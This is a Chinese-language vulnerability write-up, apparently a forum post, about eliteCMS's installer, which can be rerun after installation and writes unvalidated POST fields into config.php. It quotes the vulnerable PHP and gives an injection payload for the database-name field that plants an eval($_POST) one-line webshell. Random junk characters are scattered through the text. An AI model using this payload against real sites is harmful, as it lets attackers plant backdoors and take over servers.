eliteCMS的安装程序安装结束后未作锁定,导致黑客可以通过访问安装程序地址进行重复安装
$ W' j; |' E! F% |+ A# p8 k& K
8 ^4 O3 Y0 O7 T: G4 z另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php% M2 j. x0 Q. _/ q' _, E0 b
我们来看代码:
/ \" f# o0 J( D y
]" M3 d; w$ Y/ k, f...
; a$ L0 m. \5 ?$ ]0 o* felseif ($_GET['step'] == "4") {
- r- J0 o: c5 A% g* h, e $file = "../admin/includes/config.php";% @: v: E/ W7 U; q% M- }: r
$write = "<?php\n";
% R7 Y; }6 y, w! E) V $write .= "/**\n";! d: Q; q- o* G8 B3 K
$write .= "*\n";8 \, T! y' s; _$ Q" Q: m, |5 z
$write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";4 s) U3 d% h( `7 d
...略...% t5 I6 V; z+ J9 Z' X( f Z
$write .= "*\n";! v/ t( _/ n, E9 _+ Y& [
$write .= "*/\n";
- F$ _3 o1 z# \1 @ $write .= "\n";
; A; k' u" _/ `' H6 c2 P- @+ n $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";2 ~! R) q5 b- K
$write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";' N% o# K4 Q6 Q# _
$write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
; v* S0 r8 O, |# h) B/ L, H6 j $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
- r3 m3 ~) D- c7 r* D7 D& u $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
# A% r! i* A. k( @" R1 N% \' M $write .= "if (!\$connection) {\n";
- L: ?4 r; Q+ x" U( X7 ~0 r $write .= " die(\"Database connection failed\" .mysql_error());\n";$ r" P' _ r2 b0 q/ B1 R
$write .= " \n";
6 b% F: h% s8 P2 e0 S$ w $write .= "} \n";; h0 B5 y; g l F# g3 ]
$write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";6 t4 ^- @1 n. f
$write .= "if (!\$db_select) {\n";
" ~+ g) Y g2 _- c' V0 s4 c4 x $write .= " die(\"Database select failed\" .mysql_error());\n";/ U, q& e- h# c, p% G
$write .= " \n";: k* F! N( o6 ]; O' s; u8 e! u a
$write .= "} \n";
' g3 c- y* v# E# e9 E: U $write .= "?>\n";
9 z. C8 q1 v. E5 Y* t7 Y/ c7 f4 C
$ I/ E1 Z3 g7 @( N b: u7 y $writer = fopen($file, 'w');3 O( h% f: a! T
...
" @; F5 J9 D+ }
1 U* `, W6 J6 ?7 Z: c7 L+ D6 q& n在看代码:& j- z5 V! }+ {4 M' Q
; b. [) o: z) Z, z
$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];: |3 O S9 |! Q9 r
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];7 a0 h3 |" h5 g5 Q7 h" \4 c( }
$_SESSION['DB_USER'] = $_POST['DB_USER'];
% @# N; C2 Y" U; M+ i* M1 j$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
2 A: k- \/ L' O8 z& v4 J
+ y$ `5 h# f; m$ x- d! {* A取值未作任何验证
* K, C& H2 b; r! f, t如果将数据库名POST数据:
; K9 V* B# x: @3 l* C
- |5 K6 \' q5 \6 h"?><?php eval($_POST[c]);?><?php B! I9 T6 w& e7 w
9 t6 X; N. K+ D/ Y' `" O' ?0 W将导致一句话后门写入/admin/includes/config.php
! D$ q, @7 I7 V$ h |